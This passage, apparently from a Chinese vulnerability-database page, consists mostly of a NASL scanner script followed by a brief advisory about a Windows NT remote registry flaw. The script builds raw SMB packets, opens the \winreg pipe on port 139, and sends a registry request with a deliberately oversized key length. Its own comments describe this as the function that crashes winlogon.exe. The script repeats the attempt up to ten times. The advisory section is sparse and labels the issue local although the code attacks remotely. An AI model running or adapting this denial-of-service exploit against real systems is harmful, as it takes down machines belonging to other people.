                   0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
                   0x6e, 0x72, 0x65, 0x67, 0x00);

 send(socket:soc, data:req);
 r = recv(socket:soc, length:4000);
 if(!r)return(FALSE);
 if(ord(r[9])==0x00)return(r);
 else return(FALSE);
}


#--------------------------------------------------------#
# Extract the ID of our pipe from the result             #
# of smbntcreatex()                                      #
#--------------------------------------------------------#

function smbntcreatex_extract_pipe(reply)
{
 low = ord(reply[42]);
 high = ord(reply[43]);
 
 ret = high * 256;
 ret = ret + low;
 return(ret);
}



#---------------------------------------------------------#
# Determines whether the registry is accessible           #
#---------------------------------------------------------#
                
function pipe_accessible_registry(soc, uid, tid, pipe)
{
 tid_low = tid % 256;
 tid_high = tid / 256;
 uid_low = uid % 256;
 uid_high = uid / 256;
 pipe_low = pipe % 256;
 pipe_high = pipe / 256;
 
 req = raw_string(0x00, 0x00,
                  0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
                  0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
                  0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
                  0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
                  0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
                  0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
                  0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
                  0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
                  0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
                  0x48, 0x60, 0x02, 0x00, 0x00, 0x00);    
 send(socket:soc, data:req);
 r = recv(socket:soc, length:4096);
 if(!r)return(FALSE);
 if(ord(r[9])==0)return(r);
 else return(FALSE);
}


#----------------------------------------------------------#
# Step 1                                                   #
#----------------------------------------------------------#

function registry_access_step_1(soc, uid, tid, pipe)
{
 tid_low = tid % 256;
 tid_high = tid / 256;
 uid_low = uid % 256;
 uid_high = uid / 256;
 pipe_low = pipe % 256;
 pipe_high = pipe / 256;
 
 req = raw_string(0x00, 0x00,
                  0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
                  0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
                  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
                  0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
                  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
                  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
                  0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
                  0x00, 0x02);
                  

 send(socket:soc, data:req);
 r = recv(socket:soc, length:4096);
 if(!r)return(FALSE);
 if(ord(r[9])==0)return(r);
 else return(FALSE);
}


#---------------------------------------------------------------------#
# Get the key                                                         #
#                                                                     #
# This is the function that makes winlogon.exe crash                  #
#                                                                     #
#---------------------------------------------------------------------#
                 
function crash_winlogon(soc, uid, tid, pipe, key, reply)
{
 key_len = strlen(key) + 1;
 key_len_hi = key_len / 256;
 key_len_lo = key_len % 256;
 
 
 
 tid_low = tid % 256;
 tid_high = tid / 256;
 uid_low = uid % 256;
 uid_high = uid / 256;
 pipe_low = pipe % 256;
 pipe_high = pipe / 256;
 uc = unicode(data:key);
 
 len = 148 + strlen(uc);
 
 len_hi = len / 256;
 len_lo = len % 256;
 
 
 z = 40 + strlen(uc);
 z_lo = z % 256;
 z_hi = z / 256;
 
 y = 81 + strlen(uc);
 y_lo = y % 256;
 y_hi = y / 256;
 
 x = 64 + strlen(uc);
 x_lo = x % 256;
 x_hi = x / 256;
 
 magic1 = raw_string(ord(reply[16]), ord(reply[17]));
 
 req = raw_string(0x00, 0x00,
                  len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x03, 0x80)
                  +
                  magic1 +
                 raw_string(
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                  0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
                  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
                  0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
                  0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
                  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
                  0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
                  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
                  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
                  0x00, 0x00, 0x00, 0x00, 0x0F, 0x00);
                  
 magic = raw_string(ord(reply[84]));
 for(i=1;i<20;i=i+1)
 {
  magic = magic + raw_string(ord(reply[84+i]));
 }
 
 #
 # THE PROBLEM IS HERE : We declare the length of our
 # key as a WAYYY too long value
 #
 x = 65535;
 #   ^^^^^^
 
 x_lo = x % 256;
 x_hi = x / 256;
 
 req = req + magic + raw_string(x_lo, x_hi, 0x0A, 0x02, 0x00, 0xEC,
                0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00) +
                uc;
                  

 send(socket:soc, data:req);
 r = recv(socket:soc, length:4096);
 if(!r)return(TRUE);
 else return(FALSE);
}


#---------------------------------------------------------------------#
# crash()                                                             #
#---------------------------------------------------------------------#


function crash(key, item)
{

name = get_kb_item("SMB/name"); 
if(!name)return(FALSE);


if(!get_port_state(139))return(FALSE);


login = get_kb_item("SMB/login");
pass = get_kb_item("SMB/password");

if(!login)login = "";
if(!pass) pass = "";

          
soc = open_sock_tcp(139);

#
# Request the session
# 
r = smb_session_request(soc:soc,  remote:name);
if(!r)return(FALSE);

#
# Negociate the protocol
#
if(!smb_neg_prot(soc:soc))return(FALSE);

#
# Set up our session
#
r = smb_session_setup(soc:soc, login:login, password:pass);
if(!r)return(FALSE);
# and extract our uid
uid = session_extract_uid(reply:r);

#
# Connect to the remote IPC and extract the TID
# we are attributed
#      
r = smb_tconx(soc:soc, name:name, uid:uid);
# and extract our tree id
tid = tconx_extract_tid(reply:r);


#
# Create a pipe to \winreg
#
r = smbntcreatex(soc:soc, uid:uid, tid:tid);
if(!r)return(FALSE);
# and extract its ID
pipe = smbntcreatex_extract_pipe(reply:r);

#
# Setup things
#
r = pipe_accessible_registry(soc:soc, uid:uid, tid:tid, pipe:pipe);
if(!r)return(FALSE);
r = registry_access_step_1(soc:soc, uid:uid, tid:tid, pipe:pipe);
if(!r)return(FALSE);
r2 = crash_winlogon(soc:soc, uid:uid, tid:tid, pipe:pipe, key:key, reply:r);
return(r2);
}

#---------------------------------------------------------------------#
# Here is our main()                                                  #
#---------------------------------------------------------------------#

#
# This is bogus - whatever value will just do
#
key = "x";
item = "";

for(counter=0;counter<10;counter=counter+1)
{
value = crash(key:key, item:item);
if(value)
  {
  security_hole(139);
  exit(0);
  }
}
		

- 漏洞信息

316
Microsoft Windows NT Remote Registry Server WinLogon.exe Malformed Request Local DoS
Local Access Required Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-06-08 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站